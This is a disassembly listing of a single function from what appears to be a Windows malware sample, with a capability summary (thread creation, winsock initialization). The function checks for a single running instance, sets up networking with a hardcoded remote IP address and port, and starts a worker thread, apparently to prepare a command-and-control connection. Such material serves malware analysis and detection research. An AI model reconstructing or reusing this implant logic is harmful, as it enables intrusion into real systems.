Function at 0x401e5f
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7f0
mov eax, dword [0x433c24]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push eax
push ebx
push ebx
push ebx
mov dword [0x4381f8], eax
mov eax, connect
push eax
push ebx
push eax
push 0xcf0000
push 0x438130
push 0x438068
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401ead
xor eax, eax
jmp 0x402121
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x65c], ax
lea eax, [ebp - 0x65a]
push ebx
push eax
call fcn.004160a0
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x24c], ax
lea eax, [ebp - 0x24a]
push ebx
push eax
call fcn.004160a0
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x454], ax
lea eax, [ebp - 0x452]
push ebx
push eax
call fcn.004160a0
add esp, 0xc
xor eax, eax
movzx ecx, word [eax + str.GolfTmp]
mov word [ebp + eax - 0x24c], cx
inc eax
inc eax
cmp cx, bx
jne 0x401f02
xor eax, eax
movzx ecx, word [ebp + eax - 0x24c]
mov word [ebp + eax - 0x454], cx
inc eax
inc eax
cmp cx, bx
jne 0x401f1a
lea edi, [ebp - 0x454]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
cmp ax, bx
jne 0x401f39
mov esi, 0x42c7e4
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x24c]
push eax
movsd dword es:[edi], dword [esi]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, 0x20000
push esi
call ebx
test eax, eax
je 0x401fb7
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
lea eax, [ebp - 0x454]
push eax
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
and dword [ebp - 0x7f0], 0
jmp 0x401fa7
cmp dword [ebp - 0x7f0], 5
jge 0x401fb7
push eax
call edi
inc dword [ebp - 0x7f0]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x24c]
push eax
push 0
push esi
call ebx
test eax, eax
jne 0x401f8a
lea eax, [ebp - 0x7ec]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x4389b8
call fcn.00405f6a
pop ecx
test eax, eax
jne 0x40209c
push 0x3a
push eax
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x42]
push eax
call fcn.004160a0
add esp, 0xc
lea edi, [ebp - 0x44]
call fcn.00401000
xor eax, eax
movzx ecx, word [ebp + eax - 0x44]
mov word [eax + 0x438b60], cx
inc eax
inc eax
test cx, cx
jne 0x401ffb
push str.218.54.31.165
push 0x40
push 0x4389bc
call fcn.00413cbe
add esp, 0xc
push 0x51
pop eax
push str.AAAA
push 0x10
push 0x438a3e
mov word [0x438a3c], ax
call fcn.00413cbe
add esp, 0xc
push 0x42c824
push 0x40
push 0x438a5e
call fcn.00413cbe
mov eax, 0x2b66
add esp, 0xc
mov word [0x438ade], ax
xor eax, eax
movzx ecx, word [ebp + eax - 0x44]
mov word [eax + 0x438b40], cx
inc eax
inc eax
test cx, cx
jne 0x402060
mov edi, 0x438b40
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x40207a
mov esi, 0x42c904
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x438b80], 5
mov esi, 0x20000
call fcn.0040132e
lea edi, [ebp - 0x65c]
call fcn.00401000
xor eax, eax
movzx ecx, word [ebp + eax - 0x65c]
mov word [eax + 0x438bb8], cx
inc eax
inc eax
test cx, cx
jne 0x4020ae
mov edi, 0x438bb8
push edi
push 0
push esi
call ebx
xor ecx, ecx
cmp eax, ecx
je 0x4020e1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401ea6
push edi
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401ea6
mov ebx, 0x439048
call fcn.00402375
mov eax, dword [0x438b84]
mov dword [0x439050], eax
xor eax, eax
push eax
push eax
push eax
push 0x401293
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4354d0], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00413a49
leave
ret